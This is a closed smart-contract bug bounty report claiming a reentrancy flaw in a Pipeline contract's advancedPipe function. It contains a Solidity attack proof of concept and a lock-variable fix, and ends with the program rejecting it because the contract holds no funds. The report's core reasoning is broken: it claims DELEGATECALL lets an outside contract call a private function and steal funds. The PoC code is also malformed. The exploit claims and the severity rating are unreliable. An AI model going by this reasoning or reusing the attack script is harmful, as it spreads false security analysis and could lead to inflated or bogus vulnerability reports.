📄

Report #27228

Report Date
December 25, 2023
Status
Closed
Payout

Reentrancy Vulnerability in Pipeline Contract

Report Info

Report ID

#27228

Report type

Smart Contract

Has PoC?

Yes

Target

Impacts

  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Bug Description

The advancedPipe function in the Pipeline contract is vulnerable to a reentrancy attack due to the lack of a lock variable. This vulnerability allows an attacker to execute arbitrary code on the Pipeline contract by calling the advancedPipe function recursively before the first function call has finished executing. Even though the _advancedPipe function is declared as private, it is still possible for an attacker to call it multiple times using the DELEGATECALL opcode. This allows the attacker to bypass access restrictions and call the _advancedPipe function directly. This is because the DELEGATECALL opcode allows one contract to delegate the execution of a function call to another contract.

Impact

The reentrancy vulnerability in the Pipeline contract could allow an attacker to:

  1. Steal funds from the Pipeline contract.
  2. Manipulate the state of the Pipeline contract in other ways.

Risk Breakdown

Difficulty to Exploit: Easy Weakness: The vulnerability is due to lack of a lock variable in the advancedPipe function. This allows the function to be called recursively while it is still executing. CVSS2 Score: 9.1

Recommendation

the advancedPipe function should be modified to add a lock variable. This lock variable should be set to true before the function is executed and set to false after the function has finished executing. This will prevent the function from being called recursively while it is still executing.

function _advancedPipe( AdvancedPipeCall calldata p, bytes[] memory returnData ) private returns (bytes memory result) { require(!locked, "Pipeline: Reentrancy attack"); locked = true; uint256 value = getEthValue(p.clipboard); if (p.clipboard[0] == 0x00) { result = _pipe(p.target, p.callData, value); } else { result = LibFunction.useClipboard(p.callData, p.clipboard, returnData); result = _pipeMem(p.target, result, value); } locked = false; }

References

  1. Pipeline Documentation: https://evmpipeline.org/pipeline.pdf
  2. Reentrancy Attack: https://solidity-by-example.org/hacks/re-entrancy/

Proof of concept

// SPDX-License-Identifier: MIT pragma solidity 0.7.6;

contract Attacker { address pipeline;

constructor(address _pipeline) {
    pipeline = _pipeline;
}

function attack() external {
    // Call the _advancedPipe function on the Pipeline contract using DELEGATECALL
    (bool success, ) = pipeline.delegatecall(
        abi.encodeWithSignature(
            "_advancedPipe((address,bytes,bytes))",
            (address(this), abi.encodeWithSignature("reentrancyAttack()"), "")
        )
    );

    // Check if the function call was successful
    require(success, "Function call failed");
}

}

// Main script contract Main { Pipeline pipeline;

constructor(Pipeline _pipeline) {
    pipeline = _pipeline;
}

function exploit() external {
    // Deploy the Attacker contract
    Attacker attacker = new Attacker(address(pipeline));

    // Call the attack function on the Attacker contract
    attacker.attack();
}

BIC Response

This is not a valid bug report because Pipeline is not a contract that generally stores assets, and thus there are no assets to steal as a result of this reported vulnerability. Any funds left in Pipeline are a result of misuse.